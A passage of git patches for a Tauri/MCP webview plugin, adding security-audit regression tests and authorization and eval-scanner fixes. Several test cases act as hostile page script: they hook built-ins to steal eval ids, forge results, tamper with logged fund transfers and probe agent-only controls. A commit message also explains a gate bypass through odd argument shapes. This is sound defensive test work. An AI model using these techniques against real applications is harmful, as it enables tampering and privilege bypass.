Money() {} + Object.defineProperty(Money.prototype, 'toJSON', { value: function() { return 'USD 5'; } }); + var b = window.__VICTAURI__; + b._evalSettle('id-1', { __victauri_ok: 'real', __victauri_type: 'value' }); + b._evalSettle('id-2', { __victauri_ok: { list: [1, 2], nested: { k: 'v' } }, __victauri_type: 'value' }); + b._evalSettle('id-3', { __victauri_ok: { m: new Money(), d: new Date(0) }, __victauri_type: 'value' }); + delete Object.prototype.toJSON; + delete Array.prototype.toJSON; + return window.__calls.map(function(c) { return c.result; }); + ", + ), + case( + "hooked Map/String/setTimeout never see a pending eval id", + r" + var stolen = []; + var origSet = Map.prototype.set, origString = window.String, origTimeout = window.setTimeout; + Map.prototype.set = function(k, v) { stolen.push(k); return origSet.call(this, k, v); }; + window.String = function(x) { stolen.push(x); return origString(x); }; + window.setTimeout = function(fn, ms) { stolen.push('timer'); return origTimeout(fn, ms); }; + var id = '9b2e7c1e-aaaa-4bbb-8ccc-123456789abc'; + window.__VICTAURI__._evalArm(id, 60000); + window.__VICTAURI__._evalBegin(id); + stolen.forEach(function(s) { + window.__VICTAURI__._evalSettle(s, { __victauri_ok: 'forged', __victauri_type: 'value' }); + }); + window.__VICTAURI__._evalSettle(id, { __victauri_ok: 'real', __victauri_type: 'value' }); + Map.prototype.set = origSet; window.String = origString; window.setTimeout = origTimeout; + var mine = window.__calls.filter(function(c) { return c.id === id; }); + return { stolen: stolen.filter(function(s) { return s === id; }).length, + first: mine[0] && mine[0].result, count: mine.length }; + ", + ), + ], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let settled = results[0].result.clone().unwrap(); + assert_eq!( + settled, + serde_json::json!([ + r#"{"__victauri_ok":"real","__victauri_type":"value"}"#, + r#"{"__victauri_ok":{"list":[1,2],"nested":{"k":"v"}},"__victauri_type":"value"}"#, + r#"{"__victauri_ok":{"m":"USD 5","d":"1970-01-01T00:00:00.000Z"},"__victauri_type":"value"}"#, + ]) + ); + let leak = results[1].result.clone().unwrap(); + assert_eq!(leak["stolen"], 0, "pending eval id leaked: {leak}"); + assert_eq!( + leak["first"], + r#"{"__victauri_ok":"real","__victauri_type":"value"}"# + ); + assert_eq!(leak["count"], 1); +} + +/// Audit V-8: log reads returned entries whose nested request args / response bodies were the +/// LIVE captured objects, so page script rewrote a logged call (amount 10 -> 10000). +#[test] +fn ipc_and_network_log_copies_are_deep() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![case( + "mutating a returned entry does not change the log", + r#" + await fetch('http://ipc.localhost/transfer_funds', { method: 'POST', + body: JSON.stringify({ amount: 10, to: 'alice' }), + headers: { 'x-vtest-body': '{"ok":true}' } }); + await new Promise(function(r) { setTimeout(r, 20); }); + var e = window.__VICTAURI__.getIpcLog()[0]; + e.args.amount = 10000; e.args.to = 'mallory'; e.result.ok = false; + var n = window.__VICTAURI__.getNetworkLog()[0]; + n.request_args.amount = 5; n.response_body.ok = 'x'; + var again = window.__VICTAURI__.getIpcLog()[0]; + var net = window.__VICTAURI__.getNetworkLog()[0]; + return { args: again.args, result: again.result, + net_args: net.request_args, net_body: net.response_body }; + "#, + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + assert_eq!(r["args"], serde_json::json!({"amount": 10, "to": "alice"})); + assert_eq!(r["result"], serde_json::json!({"ok": true})); + assert_eq!( + r["net_args"], + serde_json::json!({"amount": 10, "to": "alice"}) + ); + assert_eq!(r["net_body"], serde_json::json!({"ok": true})); +} + +/// Audit V-9: agent-only operations (clearing logs and route rules, dialog auto-responses) and +/// the animation scrub/sweep state must not be reachable from page script. +#[test] +fn agent_only_controls_are_not_page_callable() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![case( + "page sees no agent controls; the agent key unlocks them", + r" + var b = window.__VICTAURI__; + var names = ['clearIpcLog','clearConsoleLogs','clearMutationLog','clearNetworkLog', + 'clearDialogLog','setDialogAutoResponse','clearRoute','clearRoutes']; + var exposed = names.filter(function(n) { return n in b; }); + b.addRoute({ pattern: '/blocked', action: 'block' }); + var wrongKey = b._agent('guess'); + var noKey = b._agent(); + var confirmBefore = window.confirm('sure?'); + var ops = b._agent('__AGENT_KEY__'); + var frozen = Object.isFrozen(ops); + var rulesBefore = b.getRouteRules().length; + var cleared = ops.clearRoutes(); + ops.setDialogAutoResponse('confirm', 'accept'); + var confirmAfter = window.confirm('sure?'); + // Sweep/scrub state is closure-held: a page-planted global is ignored. + b.installSweepRecorder(null); + window.__VICTAURI_SWEEP__ = { sessions: [{ samples: [], timing: {}, keyframes: [] }], stopped: false }; + var sweep = b.readSweep(false); + return { exposed: exposed, wrong_key: wrongKey, no_key: noKey, frozen: frozen, + rules_before: rulesBefore, removed: cleared.removed, + rules_after: b.getRouteRules().length, + confirm_before: confirmBefore, confirm_after: confirmAfter, + sweep_sessions: sweep.session_count }; + ", + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + assert_eq!(r["exposed"], serde_json::json!([]), "{r}"); + assert_eq!(r["wrong_key"], serde_json::Value::Null); + assert_eq!(r["no_key"], serde_json::Value::Null); + assert_eq!(r["frozen"], true); + assert_eq!(r["rules_before"], 1); + assert_eq!(r["removed"], 1); + assert_eq!(r["rules_after"], 0); + assert_eq!(r["confirm_before"], false); + assert_eq!(r["confirm_after"], true); + assert_eq!( + r["sweep_sessions"], 0, + "page-planted sweep state was read: {r}" + ); +} + +/// Audit V-11: a page restored from the back/forward cache is not re-initialized, so a +/// teardown on `pagehide` left console and mutation capture permanently off. +#[test] +fn bfcache_restore_keeps_console_and_mutation_capture() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![case( + "persisted pagehide/pageshow keeps capture; pageshow re-installs after a teardown", + r" + function fire(type, persisted) { + window.dispatchEvent(new PageTransitionEvent(type, { persisted: persisted })); + } + function logged(msg) { + return window.__VICTAURI__.getConsoleLogs().some(function(l) { return l.message === msg; }); + } + fire('pagehide', true); + fire('pageshow', true); + console.log('after-bfcache'); + document.body.appendChild(document.createElement('div')); + await new Promise(function(r) { setTimeout(r, 150); }); + var kept = { console: logged('after-bfcache'), + mutations: window.__VICTAURI__.getMutationLog().length > 0 }; + fire('pagehide', false); + fire('pageshow', true); + console.log('after-reinstall'); + document.body.appendChild(document.createElement('div')); + await new Promise(function(r) { setTimeout(r, 150); }); + return { kept: kept, reinstalled: { console: logged('after-reinstall'), + mutations: window.__VICTAURI__.getMutationLog().length > 0 } }; + ", + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + assert_eq!( + r["kept"], + serde_json::json!({"console": true, "mutations": true}), + "{r}" + ); + assert_eq!( + r["reinstalled"], + serde_json::json!({"console": true, "mutations": true}), + "{r}" + ); +} + +/// Audit V-14: record-mode selectors must be valid CSS whatever the id / test id / text holds +/// (React `useId` ids like `:r0:`, quotes, backslashes, newlines, emoji). +/// +/// Grammar: `#` + `CSS.escape(id)`; every quoted value (`[data-testid="…"]`, `[role="…"]`, +/// `[name="…"]`, `:has-text("…")`) is a CSS string body — `\` -> `\\`, `"` -> `\"`, chars +/// < U+0020, U+007F, U+2028, U+2029 -> `\` + lowercase hex + one space; classes are +/// `CSS.escape`d. +#[test] +fn record_mode_selectors_are_escaped_css() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: r#"Rec"# + .to_string(), + setup_js: Some( + r#" + function add(tag, attrs, text) { + var el = document.createElement(tag); + for (var k in attrs) el.setAttribute(k, attrs[k]); + if (text) el.textContent = text; + document.body.appendChild(el); + return el; + } + add('button', { id: ':r0:' }, 'useId'); + add('div', { 'data-testid': 'a"b\\c\nd \u{1F600}' }, 'tid'); + add('div', { role: 'button' }, 'Say "hi" \\ now\nnext \u{1F600}'); + add('span', {}, 'He said "go"'); + add('input', { name: 'q"x' }); + add('div', { class: 'md:flex w-1/2' }, 'cls'); + add('button', { id: '1st' }, 'digit'); + "# + .into(), + ), + tests: vec![case( + "recorded selectors", + r" + var els = document.body.children; + var out = []; + for (var i = 0; i < els.length; i++) { + window.__vtestTrustedClick(els[i]); + var ev = window.__VICTAURI__.getEventStream(0) + .filter(function(e) { return e.type === 'dom_interaction'; }); + var sel = ev[ev.length - 1].selector; + // The CSS part (before any :has-text) must select exactly this element. + var css = sel.split(':has-text(')[0]; + var matched = null; + try { matched = document.querySelector(css) === els[i]; } catch (e) { matched = 'throws: ' + e.message; } + out.push({ selector: sel, css_matches: matched }); + } + return out; + ", + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + let want = [ + r"#\:r0\:", + "[data-testid=\"a\\\"b\\\\c\\a d \u{1F600}\"]", + "[role=\"button\"]:has-text(\"Say \\\"hi\\\" \\\\ now\\a next \u{1F600}\")", + "span:has-text(\"He said \\\"go\\\"\")", + "input[name=\"q\\\"x\"]", + r"div.md\:flex.w-1\/2", + r"#\31 st", + ]; + for (i, w) in want.iter().enumerate() { + assert_eq!(r[i]["selector"], *w, "selector {i}: {r}"); + assert_eq!( + r[i]["css_matches"], true, + "selector {i} is not valid CSS for its element: {r}" + ); + } +} + // ── Hardening regressions (bounded capture, never-throw hooks, ref reuse) ──── fn case(name: &str, code: &str) -> TestCase { diff --git a/crates/victauri-plugin/tests/bridge_tests/run_tests.js b/crates/victauri-plugin/tests/bridge_tests/run_tests.js index 04ef315b..9450c287 100644 --- a/crates/victauri-plugin/tests/bridge_tests/run_tests.js +++ b/crates/victauri-plugin/tests/bridge_tests/run_tests.js @@ -18,6 +18,9 @@ const fs = require("fs"); const { JSDOM } = require("jsdom"); +const { fireAnEvent } = require("jsdom/lib/jsdom/living/helpers/events.js"); +const { implForWrapper } = require("jsdom/lib/jsdom/living/generated/utils.js"); +const MouseEventIface = require("jsdom/lib/jsdom/living/generated/MouseEvent.js"); const testDefPath = process.argv[2]; if (!testDefPath) { @@ -304,6 +307,15 @@ async function run() { window.scrollTo = function () {}; } + // Dispatch a TRUSTED (isTrusted === true) click, as a real user click would be — page + // script cannot forge one, so the bridge's record-mode observer ignores synthetic events. + window.__vtestTrustedClick = function (el) { + fireAnEvent("click", implForWrapper(el), MouseEventIface, { + bubbles: true, + cancelable: true, + }); + }; + // Inject the bridge script try { window.eval(testDef.bridge_script); From ff86cf213edbd977a2785afdcfe3c4a0fb7f048b Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:05:07 +1000 Subject: [PATCH 032/167] fix(authz): unknown string actions keep their helpful parse error; disabled first The first N1 fix also refused unknown STRING actions up front, replacing the handler's 'unknown variant, expected one of ...' with a bare protocol error, and reported malformed calls to a disabled tool as invalid rather than disabled (3 integration tests caught it). Only non-string actions and non-object bodies -- the shapes that bypassed the gate -- are refused; a disabled tool is reported first; and every_action_variant_has_a_capability reads each compound tool's action enum from its JSON schema and requires a capability for every variant, so the bare-name gate for an unknown string can never cover an action the parser would accept. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-plugin/src/mcp/authz.rs | 42 +++++++++----- crates/victauri-plugin/src/mcp/mod.rs | 76 +++++++++++++++++++++++++ 2 files changed, 103 insertions(+), 15 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/authz.rs b/crates/victauri-plugin/src/mcp/authz.rs index 1bd114fa..962f47a6 100644 --- a/crates/victauri-plugin/src/mcp/authz.rs +++ b/crates/victauri-plugin/src/mcp/authz.rs @@ -57,17 +57,21 @@ pub fn is_compound_tool(tool: &str) -> bool { /// For standalone tools this is the bare tool name. For compound tools it is the /// dot-qualified `tool.action` identity that the privacy matrix is keyed on. /// -/// The gate and the handler must agree on WHICH action runs, so anything the gate -/// cannot map to exactly one action is refused rather than gated on the bare tool -/// name: serde also accepts an enum written as `{"go_to": null}` (externally-tagged -/// unit variant) and a REST body written as a positional array, and both used to -/// resolve to the bare name here — which the Test profile allows for `navigate` — -/// while the handler still parsed and ran `go_to` (audit N1). +/// The gate and the handler must agree on WHICH action runs. serde also accepts an +/// enum written as `{"go_to": null}` (externally-tagged unit variant) and a REST body +/// written as a positional array; both used to be gated as the bare tool name — +/// which the Test profile allows for `navigate` — while the handler still parsed and +/// ran `go_to` (audit N1). So a non-object body or a non-string `action` is refused. +/// +/// A missing or unknown STRING action is gated as the bare tool name, as before: the +/// handler's typed parse rejects it (listing the valid actions) before anything runs. +/// That is sound only while every action variant is mapped here, which +/// `every_action_variant_has_a_capability` pins for each compound tool's enum. /// /// # Errors /// -/// Returns a human-readable message when the arguments are not a JSON object, or -/// when a compound tool's `action` is missing, not a string, or not a known action. +/// Returns a human-readable message when the arguments are not a JSON object, or a +/// compound tool's `action` is present but not a string. pub fn resolve_capability(tool: &str, args: &Value) -> Result { if !args.is_object() { return Err(format!("arguments for '{tool}' must be a JSON object")); @@ -76,10 +80,11 @@ pub fn resolve_capability(tool: &str, args: &Value) -> Result { return Ok(tool.to_string()); } match args.get("action") { - Some(Value::String(action)) => action_capability(tool, action) - .ok_or_else(|| format!("unknown action '{action}' for tool '{tool}'")), + Some(Value::String(action)) => { + Ok(action_capability(tool, action).unwrap_or_else(|| tool.to_string())) + } + None => Ok(tool.to_string()), Some(_) => Err(format!("`action` for tool '{tool}' must be a string")), - None => Err(format!("tool '{tool}' requires a string `action`")), } } @@ -260,10 +265,17 @@ mod tests { } #[test] - fn missing_or_unknown_action_is_refused() { - assert!(resolve_capability("route", &json!({})).is_err()); - assert!(resolve_capability("route", &json!({"action": "nonsense"})).is_err()); - assert!(resolve_capability("introspect", &json!({"action": "nonsense"})).is_err()); + fn missing_or_unknown_string_action_is_gated_as_the_bare_tool() { + // The handler's typed parse then rejects it before anything runs. + assert_eq!(canonical_capability("route", &json!({})), "route"); + assert_eq!( + canonical_capability("route", &json!({"action": "nonsense"})), + "route" + ); + assert_eq!( + canonical_capability("introspect", &json!({"action": "nonsense"})), + "introspect" + ); } /// Audit N1: serde parses `{"go_to": null}` into `NavigateAction::GoTo`, and a diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a4c49f97..e79c7fae 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -3928,6 +3928,10 @@ impl VictauriMcpHandler { // Centralized authorization: resolve the canonical `tool.action` capability // and gate on it BEFORE dispatch, so every compound action is checked // uniformly (not just the ones whose handler remembers to). See `authz`. + // A disabled tool reports "disabled" whatever its arguments look like. + if self.state.privacy.disabled_tools.contains(name) { + return Ok(tool_disabled(name)); + } let capability = authz::resolve_capability(name, &args).map_err(rest::ToolCallError::InvalidParams)?; if !self.state.privacy.is_call_allowed(name, &capability) { @@ -4934,6 +4938,10 @@ impl ServerHandler for VictauriMcpHandler { // Centralized authorization: gate on the canonical `tool.action` capability // resolved from the call arguments, matching the REST path in `execute_tool`. let args_value = serde_json::Value::Object(request.arguments.clone().unwrap_or_default()); + // A disabled tool reports "disabled" whatever its arguments look like. + if self.state.privacy.disabled_tools.contains(&tool_name) { + return Ok(tool_disabled(&tool_name).into()); + } let capability = authz::resolve_capability(&tool_name, &args_value) .map_err(|msg| ErrorData::invalid_params(msg, None))?; if !self.state.privacy.is_call_allowed(&tool_name, &capability) { @@ -6244,6 +6252,74 @@ mod authz_dispatch_tests { } } + /// The action strings a params type's `action` enum accepts, from its JSON schema. + fn schema_actions() -> Vec { + fn collect(v: &serde_json::Value, out: &mut Vec) { + if let Some(values) = v.get("enum").and_then(serde_json::Value::as_array) { + out.extend(values.iter().filter_map(|x| x.as_str().map(String::from))); + } + if let Some(c) = v.get("const").and_then(serde_json::Value::as_str) { + out.push(c.to_string()); + } + for key in ["oneOf", "anyOf"] { + for sub in v + .get(key) + .and_then(serde_json::Value::as_array) + .into_iter() + .flatten() + { + collect(sub, out); + } + } + } + let schema = serde_json::to_value(schemars::schema_for!(T)).unwrap(); + let mut action = schema["properties"]["action"].clone(); + if let Some(target) = action.get("$ref").and_then(serde_json::Value::as_str) { + let name = target.rsplit('/').next().unwrap(); + action = schema["$defs"][name].clone(); + } + let mut out = Vec::new(); + collect(&action, &mut out); + out + } + + /// `resolve_capability` gates an unknown STRING action as the bare tool name, + /// trusting the typed parse to reject it. That holds only if every action the parse + /// ACCEPTS is mapped to its own capability — pinned here from the enums themselves, + /// so a new variant cannot silently fall back to the bare-name gate. + #[test] + fn every_action_variant_has_a_capability() { + let tools: &[(&str, Vec)] = &[ + ("interact", schema_actions::()), + ("input", schema_actions::()), + ("window", schema_actions::()), + ("storage", schema_actions::()), + ("navigate", schema_actions::()), + ("recording", schema_actions::()), + ("inspect", schema_actions::()), + ("css", schema_actions::()), + ("route", schema_actions::()), + ("trace", schema_actions::()), + ("animation", schema_actions::()), + ("logs", schema_actions::()), + ("introspect", schema_actions::()), + ("fault", schema_actions::()), + ("explain", schema_actions::()), + ]; + for (tool, actions) in tools { + assert!( + !actions.is_empty(), + "{tool}: no actions read from its schema" + ); + for action in actions { + assert!( + authz::action_capability(tool, action).is_some(), + "{tool}.{action} is accepted by the parser but has no capability" + ); + } + } + } + /// Audit N1: `{"action": {"go_to": null}}` (a tag-shaped enum serde accepts) and a /// positional array body used to be gated as the bare tool name, which the Test /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both From baa312da928dbe2f5662615eb0f0e5e82ad1b7d9 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:05:18 +1000 Subject: [PATCH 033/167] fix(eval): the auto-return scanner never drops a statement Audit round 2 (0.9) V-6. should_prepend_return() wrapped several multi-statement snippets with `return`, silently skipping everything after the first statement, and turned others into false syntax errors. Principle: when unsure, run the code as-is. - After a postfix `++`/`--`, `/` is division and a following line is a new statement (`i++ / 2; f()`, `i++\n[...]`, `i--\n(g)()`). - A `/` right after `}` (object literal vs block) is undecidable: not prepended. - Keywords after `.` are property names (`obj.of\nf()`, `obj.in\nf()`, `obj.return`). - Statement keywords match as whole words on any non-identifier byte (`if\t(`, `const\n`), labels (`outer: for`) are statements, and `with` is added. - `${...}` substitutions inside template literals are tracked (a backtick inside `${'`'}` no longer ends the template), and HTML-like comments (``) are skipped. Tests: the red-team case list is extended, a proptest covers postfix / keyword-property lines, and prepend_return_decisions_run_every_statement_in_node runs every case through the real wrapper shape in Node and checks each statement ran and the right value came back. log_field_truncation_never_splits_a_surrogate_pair covers the trimField cut from the previous commit. The proptest regression seed (a multi-byte slice panic caught during this change) is checked in. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- .../proptest-regressions/mcp/mod.txt | 7 + crates/victauri-plugin/src/mcp/mod.rs | 346 +++++++++++++++--- 2 files changed, 302 insertions(+), 51 deletions(-) create mode 100644 crates/victauri-plugin/proptest-regressions/mcp/mod.txt diff --git a/crates/victauri-plugin/proptest-regressions/mcp/mod.txt b/crates/victauri-plugin/proptest-regressions/mcp/mod.txt new file mode 100644 index 00000000..13f60394 --- /dev/null +++ b/crates/victauri-plugin/proptest-regressions/mcp/mod.txt @@ -0,0 +1,7 @@ +# Seeds for failure cases proptest has generated in the past. It is +# automatically read and these particular cases re-run before any +# novel cases are generated. +# +# It is recommended to check this file in to source control so that +# everyone who runs the test benefits from these saved cases. +cc 667b3479c4c3cb88385986b82c5c7d423a6a8f4f62fef857fbb07527e2fd20e4 # shrinks to s = "``¡" diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a6cdaa0c..f04607c0 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -5224,37 +5224,39 @@ fn unwrap_eval_envelope(raw: String) -> Result { Ok(raw) } -/// Statement keywords where a leading `return` would be a syntax error. -const STMT_STARTS: &[&str] = &[ - "return ", - "return;", - "return\n", - "return\t", - "if ", - "if(", - "for ", - "for(", - "while ", - "while(", - "switch ", - "switch(", - "try ", - "try{", - "const ", - "let ", - "var ", - "function ", - "function(", - "function*", - "class ", - "throw ", - "do ", - "do{", - "{", - "async function", - "debugger", +/// Statement keywords where a leading `return` would be a syntax error. Matched as whole words +/// (followed by any non-identifier byte — `if\t(`, `const\n`, `function*` — or the end). +const STMT_KEYWORDS: &[&str] = &[ + "return", "if", "for", "while", "switch", "try", "const", "let", "var", "function", "class", + "throw", "do", "debugger", "with", ]; +/// `code` starts with the whole word `word` (not merely a longer identifier sharing its prefix). +fn starts_with_word(code: &str, word: &str) -> bool { + code.starts_with(word) + && code + .as_bytes() + .get(word.len()) + .is_none_or(|&b| !is_js_ident(b)) +} + +/// Does `code` begin with a statement (not an expression) — a statement keyword, a block, an +/// `async function` declaration, or a label (`outer: for …`)? Prepending `return` to any of +/// these is a syntax error or changes its meaning. +fn starts_with_statement(code: &str) -> bool { + if code.starts_with('{') || STMT_KEYWORDS.iter().any(|k| starts_with_word(code, k)) { + return true; + } + if starts_with_word(code, "async") && starts_with_word(code[5..].trim_start(), "function") { + return true; + } + // A label: an identifier followed (after optional whitespace) by a single `:`. + let ident_len = code.bytes().take_while(|&b| is_js_ident(b)).count(); + ident_len > 0 + && !code.as_bytes()[0].is_ascii_digit() + && code[ident_len..].trim_start().starts_with(':') +} + /// Resolve `.` and `..` components without touching the filesystem. #[cfg(feature = "sqlite")] fn lexically_normalize(path: &std::path::Path) -> std::path::PathBuf { @@ -5314,11 +5316,7 @@ fn should_prepend_return(code: &str) -> bool { use ScanState::{Code, DoubleQuote, SingleQuote, Template}; let code = strip_leading_js_comments(code.trim()); - if code.is_empty() { - return false; - } - - if STMT_STARTS.iter().any(|k| code.starts_with(k)) { + if code.is_empty() || starts_with_statement(code) { return false; } @@ -5326,13 +5324,20 @@ fn should_prepend_return(code: &str) -> bool { let mut i = 0; let mut depth: i32 = 0; let mut state = ScanState::Code; - - // Is there a top-level `return` token starting at byte `i` (word-bounded)? + // Depths at which a template literal's `${` substitution opened: the matching `}` resumes + // the template (else a backtick inside `${'`'}` was read as the template's end). + let mut template_depths: Vec = Vec::new(); + // Only whitespace since the last line terminator (an HTML-like `-->` comment position). + let mut at_line_start = true; + + // Is there a top-level `return` token starting at byte `i` (word-bounded, and not a + // property name such as `obj.return`)? let is_return_token = |i: usize| -> bool { let prev_ok = i == 0 || !is_js_ident(bytes[i - 1]); prev_ok && code[i..].starts_with("return") && bytes.get(i + 6).copied().is_none_or(|b| !is_js_ident(b)) + && !preceded_by_dot(code, i) }; // The last two significant (non-whitespace, non-comment) bytes seen in code, and where the @@ -5353,11 +5358,25 @@ fn should_prepend_return(code: &str) -> bool { { return false; } + at_line_start = true; i = next_start; continue; } match state { Code => { + // HTML-like comments (Script goal): `` at the start of + // a line, comment out the rest of the line. + if bytes[i..].starts_with(b"")) + { + while i < bytes.len() && bytes[i] != b'\n' { + i += 1; + } + continue; + } + if !c.is_ascii_whitespace() { + at_line_start = false; + } match c { b'\'' => state = SingleQuote, b'"' => state = DoubleQuote, @@ -5376,7 +5395,10 @@ fn should_prepend_return(code: &str) -> bool { i += 2; continue; } - b'/' if slash_starts_regex(code, last_sig, last_sig_idx) => { + // After `}` a `/` is division if the brace closed an object literal, and a + // regex if it closed a block — undecidable here, so run the code as-is. + b'/' if last_sig == Some(b'}') => return false, + b'/' if slash_starts_regex(code, last_sig, prev_sig, last_sig_idx) => { // A regex literal: skip it whole (a quote or newline-like character // inside it must not be read as code), then its flags. i = skip_regex_literal(bytes, i); @@ -5386,7 +5408,13 @@ fn should_prepend_return(code: &str) -> bool { continue; } b'(' | b'[' | b'{' => depth += 1, - b')' | b']' | b'}' => depth -= 1, + b')' | b']' | b'}' => { + depth -= 1; + if c == b'}' && template_depths.last() == Some(&depth) { + template_depths.pop(); + state = Template; + } + } // A top-level `;` with more CODE after it (not just a comment) is a // multi-statement block. b';' if depth <= 0 && !strip_leading_js_comments(&code[i + 1..]).is_empty() => { @@ -5410,6 +5438,11 @@ fn should_prepend_return(code: &str) -> bool { }; if c == b'\\' { i += 1; + } else if state == Template && c == b'$' && bytes.get(i + 1) == Some(&b'{') { + template_depths.push(depth); + depth += 1; + state = Code; + i += 1; } else if c == close { state = Code; prev_sig = last_sig; @@ -5428,8 +5461,15 @@ fn is_js_ident(b: u8) -> bool { b.is_ascii_alphanumeric() || b == b'_' || b == b'$' } -/// The identifier that ends at byte `end` (inclusive), if `code[end]` is an identifier byte. -fn js_word_ending_at(code: &str, end: usize) -> &str { +/// Is the token starting at byte `start` a property name (`obj.of`, `a?.return`)? Such a +/// word is never a keyword. +fn preceded_by_dot(code: &str, start: usize) -> bool { + code[..start].trim_end().ends_with('.') +} + +/// The KEYWORD candidate that ends at byte `end` (inclusive): the identifier there, or `""` +/// when `code[end]` is not an identifier byte or the word is a property name after `.`. +fn js_keyword_ending_at(code: &str, end: usize) -> &str { let bytes = code.as_bytes(); if !bytes.get(end).copied().is_some_and(is_js_ident) { return ""; @@ -5438,6 +5478,9 @@ fn js_word_ending_at(code: &str, end: usize) -> &str { while start > 0 && is_js_ident(bytes[start - 1]) { start -= 1; } + if preceded_by_dot(code, start) { + return ""; + } &code[start..=end] } @@ -5459,6 +5502,14 @@ const EXPR_KEYWORDS: &[&str] = &[ "throw", ]; +/// A line (or operand) ending in POSTFIX `++`/`--`. +fn ends_in_postfix(last_sig: Option, prev_sig: Option) -> bool { + matches!( + (prev_sig, last_sig), + (Some(b'+'), Some(b'+')) | (Some(b'-'), Some(b'-')) + ) +} + /// Does a line break just before `next_start` end the statement (JavaScript ASI)? Only /// consulted at bracket depth 0. fn asi_ends_statement( @@ -5476,25 +5527,36 @@ fn asi_ends_statement( if rest.starts_with("++") || rest.starts_with("--") { return true; } - // A line ending in POSTFIX `++`/`--` is complete, even though `+`/`-` normally continue. - let postfix = matches!( - (prev_sig, last_sig), - (Some(b'+'), Some(b'+')) | (Some(b'-'), Some(b'-')) - ); - let continues_after = !postfix - && (last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p)) - || EXPR_KEYWORDS.contains(&js_word_ending_at(code, last_sig_idx))); + // After POSTFIX `++`/`--` nothing but a binary operator can continue the expression, and + // `i++\n[…]` / `i++\n(…)` are ASI'd into two statements — treat any following line as a + // new statement (not prepending is always safe; prepending would drop that line). + if ends_in_postfix(last_sig, prev_sig) { + return true; + } + let continues_after = last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p)) + || EXPR_KEYWORDS.contains(&js_keyword_ending_at(code, last_sig_idx)); !(continues_after || ASI_CONTINUES_BEFORE.contains(&next)) } /// Whether a `/` (not starting a comment) begins a regex literal rather than division: /// true where an operand is expected — at the start, after an operator or opening -/// punctuation, or after a keyword such as `return`/`typeof`. -fn slash_starts_regex(code: &str, last_sig: Option, last_sig_idx: usize) -> bool { +/// punctuation, or after a keyword such as `return`/`typeof`. After a postfix `++`/`--` +/// (a complete operand) it is division. +fn slash_starts_regex( + code: &str, + last_sig: Option, + prev_sig: Option, + last_sig_idx: usize, +) -> bool { + if ends_in_postfix(last_sig, prev_sig) { + return false; + } match last_sig { None => true, Some(b) if b"(,=:[!&|?{};+-*%<>~^".contains(&b) => true, - Some(b) if is_js_ident(b) => EXPR_KEYWORDS.contains(&js_word_ending_at(code, last_sig_idx)), + Some(b) if is_js_ident(b) => { + EXPR_KEYWORDS.contains(&js_keyword_ending_at(code, last_sig_idx)) + } Some(_) => false, } } @@ -5587,6 +5649,20 @@ mod prop_tests { prop_assert!(!should_prepend_return(&code), "explicit return prepended: {code:?}"); } + /// A line after a postfix `++`/`--`, or after a keyword-named PROPERTY (`obj.of`, + /// `obj.in`), starts a new statement: prepending would silently drop it (audit V-6). + #[test] + fn statement_after_postfix_or_keyword_property_never_prepended( + a in ident(), b in bare_expr(), op in prop_oneof![Just("++"), Just("--")], + open in prop_oneof![Just("["), Just("(")], prop in prop_oneof![Just("of"), Just("in")] + ) { + let close = if open == "[" { "]" } else { ")" }; + let postfix = format!("{a}{op}\n{open}{b}{close}"); + prop_assert!(!should_prepend_return(&postfix), "would drop a line: {postfix:?}"); + let keyword_prop = format!("{a}.{prop}\n{b}"); + prop_assert!(!should_prepend_return(&keyword_prop), "would drop a line: {keyword_prop:?}"); + } + /// `;` or the word `return` INSIDE a string literal must not trigger a /// false multi-statement split — a bare string is one expression. #[test] @@ -5808,9 +5884,177 @@ mod tests { "s.split(/,/)\n.length", "document.title; // trailing note", "document.title // trailing note", + "obj.return", + "obj.of\n.length", + "i++ / 2", + "`a${'`'}b`", ] { assert!(should_prepend_return(code), "must wrap: {code:?}"); } + // Round 2 (0.9 audit V-6): each of these used to be wrapped and silently lost a + // statement, or was wrapped into a syntax error. + for code in ASI_ROUND2_STATEMENT_CASES { + assert!(!should_prepend_return(code), "must not wrap: {code:?}"); + } + } + + /// Run a Node script and return its stdout, or `None` (test skipped) without `node`. + fn run_node(script: &str) -> Option { + let out = std::process::Command::new("node") + .arg("-e") + .arg(script) + .output() + .ok()?; + Some(String::from_utf8_lossy(&out.stdout).into_owned()) + } + + #[test] + fn log_field_truncation_never_splits_a_surrogate_pair() { + // An emoji straddling the MAX_LOG_FIELD_BYTES cut used to leave a lone high surrogate, + // which serde_json rejects — failing the whole `logs` read (audit V-4). + let source = format!( + "[{{ body: 'a'.repeat({}) + '\\u{{1F600}}tail' }}]", + MAX_LOG_FIELD_BYTES - 1 + ); + let code = trimmed_log_js(&source, 10); + let script = format!( + "const r = 